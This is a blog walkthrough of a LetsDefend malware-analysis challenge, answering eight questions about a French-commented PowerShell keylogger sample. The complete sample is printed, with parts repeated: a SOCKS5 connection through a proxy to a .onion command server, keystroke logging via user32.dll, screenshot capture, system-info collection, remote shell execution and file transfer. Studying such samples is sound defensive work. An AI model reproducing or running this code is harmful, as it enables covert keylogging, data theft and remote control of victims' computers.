You are a malware analyst investigating a suspected PowerShell malware sample. The malware is designed to establish a connection with a remote server, execute various commands, and potentially exfiltrate data. Your goal is to analyze the malware’s functionality and determine its capabilities..
I’ve not used letsdefend before. A few years ago I looked at the various infosec learning platforms and decided to settle on TryHackMe. In my recent posts I’ve branched out to CyberDefenders, and today I’ll be trying out the PowerShell Keylogger challenge.
There are eight questions for us to answer in this challenge. I’ve analyzed a few powershell scripts before. Usually they’re just one-liners that download a second stage payload from an external server. Let’s see what we have in store for this challenge!
Before we start with the questions we’ll look at the sample. After connecting to the lab and opening the file in notepad++ (Which is already installed on the web-based VM we’re given) here’s what we see:
param (
[string]$serverAddress = "opioem3zmp3bgx3qjqkh6vimkdoerrwh3uhawklm5ndv5e7k3t4edbqd.onion",
[int]$serverPort = 9999,
[string]$proxyAddress = "37.143.129.165",
[int]$proxyPort = 9050
)
Add-Type -TypeDefinition @"
using System;
using System.Net;
using System.Net.Sockets;
public class SocksProxy
{
public static Socket ConnectThrough(string proxyHost, int proxyPort, string destinationHost, int destinationPort)
{
Socket s = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
s.Connect(proxyHost, proxyPort);
byte[] request = new byte[] { 5, 1, 0 };
s.Send(request);
byte[] response = new byte[2];
s.Receive(response);
if (response[0] != 5 || response[1] != 0)
throw new Exception("SOCKS5 connection failed");
byte[] addr = System.Text.Encoding.ASCII.GetBytes(destinationHost);
byte[] connect = new byte[7 + addr.Length];
connect[0] = 5;
connect[1] = 1;
connect[2] = 0;
connect[3] = 3;
connect[4] = (byte)addr.Length;
Array.Copy(addr, 0, connect, 5, addr.Length);
connect[5 + addr.Length] = (byte)(destinationPort >> 8);
connect[6 + addr.Length] = (byte)(destinationPort & 0xFF);
s.Send(connect);
byte[] connectResponse = new byte[10];
s.Receive(connectResponse);
if (connectResponse[0] != 5 || connectResponse[1] != 0)
throw new Exception("SOCKS5 connection to destination failed");
return s;
}
}
"@
function Cap-Sc {
Add-Type -AssemblyName System.Windows.Forms
Add-Type -AssemblyName System.Drawing
$width = [System.Windows.Forms.SystemInformation]::VirtualScreen.Width
$height = [System.Windows.Forms.SystemInformation]::VirtualScreen.Height
$screenshot = New-Object System.Drawing.Bitmap $width, $height
$graphics = [System.Drawing.Graphics]::FromImage($screenshot)
$graphics.CopyFromScreen(0, 0, 0, 0, $screenshot.Size)
$tempFile = [System.IO.Path]::Combine([System.IO.Path]::GetTempPath(), [System.IO.Path]::GetRandomFileName() + ".png")
$screenshot.Save($tempFile, [System.Drawing.Imaging.ImageFormat]::Png)
return $tempFile
}
function Encode-Data($data) {
return [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($data))
}
function Decode-Data($encodedData) {
return [System.Text.Encoding]::Unicode.GetString([Convert]::FromBase64String($encodedData))
}
function Execute-CommandInMemory {
param ([string]$encodedCommand)
$command = Decode-Data $encodedCommand
$output = Invoke-Expression $command | Out-String
return $output
}
function Get-SystemInfo {
$info = @{
"os" = [System.Environment]::OSVersion.ToString()
"hostname" = [System.Environment]::MachineName
"username" = [System.Environment]::UserName
"ip" = (Get-NetIPAddress | Where-Object { $_.AddressFamily -eq "IPv4" -and $_.IPAddress -notmatch "^(127\.|169\.254\.)" } | Select-Object -First 1).IPAddress
}
return $info | ConvertTo-Json -Compress
}
$global:keylogger_active = $false
$global:captured_keys = ""
function Start-Keylogger {
$global:keylogger_active = $true
$global:captured_keys = ""
$signature = @"
[DllImport("user32.dll", CharSet=CharSet.Auto, ExactSpelling=true)]
public static extern short GetAsyncKeyState(int virtualKeyCode);
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int GetKeyboardState(byte[] keystate);
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int MapVirtualKey(uint uCode, int uMapType);
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int ToUnicode(uint wVirtKey, uint wScanCode, byte[] lpkeystate, System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags);
"@
$API = Add-Type -MemberDefinition $signature -Name 'Win32' -Namespace API -PassThru
$job = Start-Job -ScriptBlock {
param($API)
try {
while ($true) {
Start-Sleep -Milliseconds 40
for ($ascii = 9; $ascii -le 254; $ascii++) {
$state = $API::GetAsyncKeyState($ascii)
if ($state -eq -32767) {
$null = [console]::CapsLock
$virtualKey = $API::MapVirtualKey($ascii, 3)
$kbstate = New-Object Byte[] 256
$checkkbstate = $API::GetKeyboardState($kbstate)
$mychar = New-Object -TypeName System.Text.StringBuilder
$success = $API::ToUnicode($ascii, $virtualKey, $kbstate, $mychar, $mychar.Capacity, 0)
if ($success) {
[System.IO.File]::AppendAllText("$env:temp\keylog.txt", $mychar, [System.Text.Encoding]::Unicode)
}
}
}
}
}
finally {
[System.IO.File]::AppendAllText("$env:temp\keylog.txt", "`r`n[Stopped]`r`n", [System.Text.Encoding]::Unicode)
}
} -ArgumentList $API
return $job
}
function Stop-Keylogger($job) {
$global:keylogger_active = $false
Stop-Job $job
Remove-Job $job
}
function Get-KeylogData {
if (Test-Path "$env:temp\keylog.txt") {
$data = Get-Content "$env:temp\keylog.txt" -Raw
Remove-Item "$env:temp\keylog.txt" -Force
return $data
}
return "No keylog data available."
}
function Establish-Connection {
param (
[string]$ip,
[int]$port,
[string]$proxyIp,
[int]$proxyPort
)
$keylogger_job = $null
while ($true) {
try {
$socket = [SocksProxy]::ConnectThrough($proxyIp, $proxyPort, $ip, $port)
$stream = New-Object System.Net.Sockets.NetworkStream($socket, $true)
$reader = New-Object System.IO.StreamReader($stream)
$writer = New-Object System.IO.StreamWriter($stream)
$writer.AutoFlush = $true
# Envoyer les informations système
$sysInfo = Get-SystemInfo
$writer.WriteLine("SYSINFO:$sysInfo")
while ($true) {
$command = $reader.ReadLine()
if ($null -eq $command) {
throw "Connection lost"
}
if ($command -eq "exit") {
if ($keylogger_job) {
Stop-Keylogger $keylogger_job
}
return
}
elseif ($command -eq "screenshot") {
$tempFile = Cap-Sc
$fileBytes = [System.IO.File]::ReadAllBytes($tempFile)
$encodedScreenshot = [Convert]::ToBase64String($fileBytes)
$writer.WriteLine($encodedScreenshot)
$writer.WriteLine("SCREENSHOT_END")
Remove-Item -Path $tempFile -Force
}
elseif ($command.StartsWith("powershell:")) {
$psCommand = $command.Substring("powershell:".Length)
$output = Invoke-Expression $psCommand | Out-String
$writer.WriteLine($output)
}
elseif ($command.StartsWith("shell:")) {
$shellCommand = $command.Substring("shell:".Length)
$output = & cmd.exe /c $shellCommand 2>&1 | Out-String
$writer.WriteLine($output)
}
elseif ($command.StartsWith("upload:")) {
$parts = $command.Split(":")
$filePath = $parts[1]
$fileData = $parts[2]
[System.IO.File]::WriteAllBytes($filePath, [Convert]::FromBase64String($fileData))
$writer.WriteLine("File uploaded successfully")
}
elseif ($command.StartsWith("download:")) {
$filePath = $command.Split(":")[1]
if (Test-Path $filePath) {
$fileBytes = [System.IO.File]::ReadAllBytes($filePath)
$encodedFile = [Convert]::ToBase64String($fileBytes)
$writer.WriteLine($encodedFile)
} else {
$writer.WriteLine("File not found")
}
}
elseif ($command -eq "keylog_start") {
if (-not $global:keylogger_active) {
$keylogger_job = Start-Keylogger
$writer.WriteLine("Keylogger started")
} else {
$writer.WriteLine("Keylogger is already active")
}
}
elseif ($command -eq "keylog_dump") {
$keylogData = Get-KeylogData
$writer.WriteLine($keylogData)
$writer.WriteLine("KEYLOG_END")
}
elseif ($command -eq "persist") {
# Implémentez la logique de persistance ici si nécessaire
$writer.WriteLine("Persistence mechanism is managed separately")
}
else {
$output = Execute-CommandInMemory $command
$writer.WriteLine($output)
}
}
}
catch {
Write-Error "Connection error: $_"
if ($keylogger_job) {
Stop-Keylogger $keylogger_job
}
Start-Sleep -Seconds 30 # Attendre avant de tenter une reconnexion
}
finally {
if ($null -ne $reader) { $reader.Close() }
if ($null -ne $writer) { $writer.Close() }
if ($null -ne $socket) { $socket.Close() }
}
}
}
while ($true) {
try {
Establish-Connection -ip $serverAddress -port $serverPort -proxyIp $proxyAddress -proxyPort $proxyPort
}
catch {
Write-Error "Fatal error: $_"
Start-Sleep -Seconds 60 # Attendre avant de redémarrer complètement
}
}
That’s a lot of powershell to look over, but already I’m seeing some answers to the questions.
Speaking of questions, let’s move on to question one!
Question one
What is the proxy port used by the script?
With the PowerShell script open in Notepad++ we can take a look through and figure out the port that’s being used. Thankfully we don’t need to look for very long. The first six lines of the script define the parameters for use later on. Here’s just those first six lines:
param (
[string]$serverAddress = "opioem3zmp3bgx3qjqkh6vimkdoerrwh3uhawklm5ndv5e7k3t4edbqd.onion",
[int]$serverPort = 9999,
[string]$proxyAddress = "37.143.129.165",
[int]$proxyPort = 9050
)
The answer is already there, but let’s go through it one by one.
-
The
serverAddressvariable is a.onionlink. In case you weren’t aware -.onionlinks are for use with TOR, also known as The Onion Router…. Or better known as the ‘Dark Web’. We can safely assume that the.onionserver address is owned by the malicious actor. -
serverPortis the port of the server (discussed above) that the powershell script would connect to. The context of this room and the powershell script is that this is a Keylogger. We can assume with some certainty that the Keylogger will be sending back the keystokes it captures to the server, using this port. -
Almost there! The next parameter to look at is the
proxyAddress. This is the IP Address of the proxy. The captured keystrokes from the keylogger are likely being routed through the proxy to the final.onionserver. At least this is what it looks like to me. Not much more to see here. -
Finally we have the answer! The port used on the above
proxyAddressis defined in theproxyPortvariable. This is our answer!
Question two
What function-method is used for starting keylogging?
We need to look through the different functions defined in the script for this answer. If you’re not familiar with PowerShell, no worries!
Functions in powershell are definted with the word function, followed by the name of the function and some curly braces. On the next line and indented is the logic of the function. Functions usually return an object, or a string, or something that the main process of script can use.
Below is a random function I pulled from the powershell script.
function Get-SystemInfo {
$info = @{
"os" = [System.Environment]::OSVersion.ToString()
"hostname" = [System.Environment]::MachineName
"username" = [System.Environment]::UserName
"ip" = (Get-NetIPAddress | Where-Object { $_.AddressFamily -eq "IPv4" -and $_.IPAddress -notmatch "^(127\.|169\.254\.)" } | Select-Object -First 1).IPAddress
}
return $info | ConvertTo-Json -Compress
}
I won’t go over each line like I did for question one but we can see that the function is called Get-SystemInfo. It gets the OS, the Hostname, the Username of the user who’s logged in, and does a fancy bit of regex on the IP address. More on that later.
For now, we can look at the names of the functions in the script. If you scroll down (to line 94 of the powershell script) then you’ll see the name of the function user to start the process of keylogging:
function Start-Keylogger {
$global:keylogger_active = $true
$global:captured_keys = ""
...
}
The name of the function is our answer!
Question three
What is the name of the file used by the script to store the keylog data?
If we analyze the script, there are a few different places where we can see the answer to this question, let’s continue looking at the function we analyzed for the above question, Start-Keylogger:
function Start-Keylogger {
$global:keylogger_active = $true
$global:captured_keys = ""
$signature = @"
[DllImport("user32.dll", CharSet=CharSet.Auto, ExactSpelling=true)]
public static extern short GetAsyncKeyState(int virtualKeyCode);
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int GetKeyboardState(byte[] keystate);
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int MapVirtualKey(uint uCode, int uMapType);
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int ToUnicode(uint wVirtKey, uint wScanCode, byte[] lpkeystate, System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags);
"@
$API = Add-Type -MemberDefinition $signature -Name 'Win32' -Namespace API -PassThru
$job = Start-Job -ScriptBlock {
param($API)
try {
while ($true) {
Start-Sleep -Milliseconds 40
for ($ascii = 9; $ascii -le 254; $ascii++) {
$state = $API::GetAsyncKeyState($ascii)
if ($state -eq -32767) {
$null = [console]::CapsLock
$virtualKey = $API::MapVirtualKey($ascii, 3)
$kbstate = New-Object Byte[] 256
$checkkbstate = $API::GetKeyboardState($kbstate)
$mychar = New-Object -TypeName System.Text.StringBuilder
$success = $API::ToUnicode($ascii, $virtualKey, $kbstate, $mychar, $mychar.Capacity, 0)
if ($success) {
[System.IO.File]::AppendAllText("$env:temp\keylog.txt", $mychar, [System.Text.Encoding]::Unicode)
}
}
}
}
}
finally {
[System.IO.File]::AppendAllText("$env:temp\keylog.txt", "`r`n[Stopped]`r`n", [System.Text.Encoding]::Unicode)
}
} -ArgumentList $API
return $job
}
I won’t go over every line again, but we’ll focus on the final few lines in that function. This function is what starts the Keylogging process, so it makes sense that it will write the data to a file which is then sent off to the .onion address we looked at earlier.
Let’s take a closer look at these lines:
if ($success) {
[System.IO.File]::AppendAllText("$env:temp\keylog.txt", $mychar, [System.Text.Encoding]::Unicode)
}
We can disregard the if ($success) part, and focus on what happens afterwards (if success is true, for what it’s worth). The text/keystrokes that have been captured are all written to $env:temp\keylog.txt. This is the answer!
There were a few places we could have found this answer. Searching for .txt is another way (and actually the way that I did this on my first go).
Question four
What command is used by the script to achieve persistence?
There’s a pretty lengthy function in the script called Establish-Connection. Part of this function will read a command from the attacker and execute it. One of these is persist:
...
elseif ($command -eq "persist") {
# Implémentez la logique de persistance ici si nécessaire
$writer.WriteLine("Persistence mechanism is managed separately")
...
As you can see the persistance mechanism isn’t properly defined here. Originally I assumed that this was defined elsewhere and that we’d need to do some more digging. If we translate the French though comment it will reveal something interesting:
Implémentez la logique de persistance ici si nécessaire
Implement the persistence logic here if necessary.
It seems that whoever developed this keylogger didn’t have the time or just forgot to implement a persistance mechanism. This is practically just a #TODO message left in the code.
I was a little bit confused as to what the answer was. After re-reading it again I realized that the command persist is our answer. It stumped me for a while at first, but we got there eventually!
Question five
What is the command used by the script to upload data?
This question is similar to the previous question. We have that Establish-Connection function that takes in commands, and we can look through the other accepted commands to find the answer.
Here’s the full function:
function Establish-Connection {
param (
[string]$ip,
[int]$port,
[string]$proxyIp,
[int]$proxyPort
)
$keylogger_job = $null
while ($true) {
try {
$socket = [SocksProxy]::ConnectThrough($proxyIp, $proxyPort, $ip, $port)
$stream = New-Object System.Net.Sockets.NetworkStream($socket, $true)
$reader = New-Object System.IO.StreamReader($stream)
$writer = New-Object System.IO.StreamWriter($stream)
$writer.AutoFlush = $true
# Envoyer les informations système
$sysInfo = Get-SystemInfo
$writer.WriteLine("SYSINFO:$sysInfo")
while ($true) {
$command = $reader.ReadLine()
if ($null -eq $command) {
throw "Connection lost"
}
if ($command -eq "exit") {
if ($keylogger_job) {
Stop-Keylogger $keylogger_job
}
return
}
elseif ($command -eq "screenshot") {
$tempFile = Cap-Sc
$fileBytes = [System.IO.File]::ReadAllBytes($tempFile)
$encodedScreenshot = [Convert]::ToBase64String($fileBytes)
$writer.WriteLine($encodedScreenshot)
$writer.WriteLine("SCREENSHOT_END")
Remove-Item -Path $tempFile -Force
}
elseif ($command.StartsWith("powershell:")) {
$psCommand = $command.Substring("powershell:".Length)
$output = Invoke-Expression $psCommand | Out-String
$writer.WriteLine($output)
}
elseif ($command.StartsWith("shell:")) {
$shellCommand = $command.Substring("shell:".Length)
$output = & cmd.exe /c $shellCommand 2>&1 | Out-String
$writer.WriteLine($output)
}
elseif ($command.StartsWith("upload:")) {
$parts = $command.Split(":")
$filePath = $parts[1]
$fileData = $parts[2]
[System.IO.File]::WriteAllBytes($filePath, [Convert]::FromBase64String($fileData))
$writer.WriteLine("File uploaded successfully")
}
elseif ($command.StartsWith("download:")) {
$filePath = $command.Split(":")[1]
if (Test-Path $filePath) {
$fileBytes = [System.IO.File]::ReadAllBytes($filePath)
$encodedFile = [Convert]::ToBase64String($fileBytes)
$writer.WriteLine($encodedFile)
} else {
$writer.WriteLine("File not found")
}
}
elseif ($command -eq "keylog_start") {
if (-not $global:keylogger_active) {
$keylogger_job = Start-Keylogger
$writer.WriteLine("Keylogger started")
} else {
$writer.WriteLine("Keylogger is already active")
}
}
elseif ($command -eq "keylog_dump") {
$keylogData = Get-KeylogData
$writer.WriteLine($keylogData)
$writer.WriteLine("KEYLOG_END")
}
elseif ($command -eq "persist") {
# Implémentez la logique de persistance ici si nécessaire
$writer.WriteLine("Persistence mechanism is managed separately")
}
else {
$output = Execute-CommandInMemory $command
$writer.WriteLine($output)
}
}
}
catch {
Write-Error "Connection error: $_"
if ($keylogger_job) {
Stop-Keylogger $keylogger_job
}
Start-Sleep -Seconds 30 # Attendre avant de tenter une reconnexion
}
finally {
if ($null -ne $reader) { $reader.Close() }
if ($null -ne $writer) { $writer.Close() }
if ($null -ne $socket) { $socket.Close() }
}
}
}
The commands in the function are; exit, screenshot, powershell:, shell:, upload:, download:, keylog_start, keylog_dump, and persist.
That’s a lot of useful, and scary commands that the keylogger is capable of. It should be pretty obvious what the command is. Just make sure you include the : into your answer!
Question six
What is the regex used by the script to filter IP addresses?
The random function I pulled for question two actuall contains the answer to this question. Here’s that function again:
function Get-SystemInfo {
$info = @{
"os" = [System.Environment]::OSVersion.ToString()
"hostname" = [System.Environment]::MachineName
"username" = [System.Environment]::UserName
"ip" = (Get-NetIPAddress | Where-Object { $_.AddressFamily -eq "IPv4" -and $_.IPAddress -notmatch "^(127\.|169\.254\.)" } | Select-Object -First 1).IPAddress
}
return $info | ConvertTo-Json -Compress
}
So what does this function do? I touched on it briefly before, but now is a good time to go through it line by line.
$info = @{ sets up a hashtable, or a dictionary if you’re more familiar with Python.
"os" = [System.Environment]::OSVersion.ToString() grabs the OSVersion from the [System.Environment]. You can read more on this in the Microsoft Learn Docs. It’s fairly self explanatory but it also reveals that this keylogger is Windows Only. This fact doesn’t really mean much to us right now, but if we were to write a threat report based on this keylogger then it would be an important bit of information to add.
"username" = [System.Environment]::UserName This is similar to the above OSVersion query. Instead of the OS information it grabs the currently logged in UserName and adds it to that info dictionary.
"ip" = (Get-NetIPAddress | Where-Object { $_.AddressFamily -eq "IPv4" -and $_.IPAddress -notmatch "^(127\.|169\.254\.)" } | Select-Object -First 1).IPAddress. This is the regex part of the function, and gets our answer. Let’s break it down a little further to see what it’s really doing:
Get-NetIPAddress gets the entire IP Address configuration for the device, including IPv4 and IPv6. More on that here if you want some more information.
Where-Object { $_.AddressFamily -eq "IPv4" keeps only the IPv4 addresses from the above Get-NetIPAddress output above.
-and $_.IPAddress -notmatch "^(127\.|169\.254\.)" } This is a nice little bit of regex that filters out any loopback (127.) and Automatic Private IP Addresses (|169\.254\.). This means that any real world/“real” IP Addresses are retained.
Select-Object -First 1 just takes the first IP address. If the device has multiple Network Interface Cards this can be useful.
The final part of this function (return $info | ConvertTo-Json -Compress) returns the $info dictionary object after converting it to Json using the aptly named ConvertTo-Json method.
That was a lot to explain the function, but the answer to the question (‘What is the regex used by the script to filter IP addresses?’) is right there.
Question seven
What is the DLL imported by the script to call keylogging APIs?
A simple Ctrl + F for .dll can give you the answer here. You’ll find it in the start of the Start-Keylogger function.
Question eight
How many seconds does the script wait before re-establishing a connection?
Right at the very end of the PowerShell script is this:
while ($true) {
try {
Establish-Connection -ip $serverAddress -port $serverPort -proxyIp $proxyAddress -proxyPort $proxyPort
}
catch {
Write-Error "Fatal error: $_"
Start-Sleep -Seconds 60 # Attendre avant de redémarrer complètement
}
}
while ($true) will always be true (Unless you’ve really messed something up) so the KeyLogger will always try to run that Establish-Connection function using the server/proxy addresses and ports we discussed earlier. In the event that there’s an error, like if the infected PC doesn’t have internet access, then it’ll throw an error and wait for 60 seconds, as we can see in this catch function:
catch {
Write-Error "Fatal error: $_"
Start-Sleep -Seconds 60 # Attendre avant de redémarrer complètement
This comment left in French translates to ‘Wait before restarting completely’.
It’s out of scope for this challenge but we can use these comments to our advantage if we were to write a report on this malware. We already know it targets PowerShell/Windows devices, and appears to be written by someone who speaks French. Some more analysis could be done to determine which dialect the French is in to narrow down the location of the malware author.
This Huntress Report on some recent ClickFix malware makes note of there being some comments in Russian which helped attribute the group which may have made it:
The source code of the Windows Update ClickFix lure site is not obfuscated, contains comments in Russian, and has logging capabilities that we can leverage to identify additional sites.
This can also be used to obscure the author, though. If you wanted to write some malware and blame it on Russia, throw in some comments translated into Russian and you’ll have threat researchers pulling their hair out in no time!
Conclusion
This was my first time using LetsDefend and I enjoyed it a lot! I’ll definitely be adding it to my list of sites I use for training. Stay tuned for more write-ups!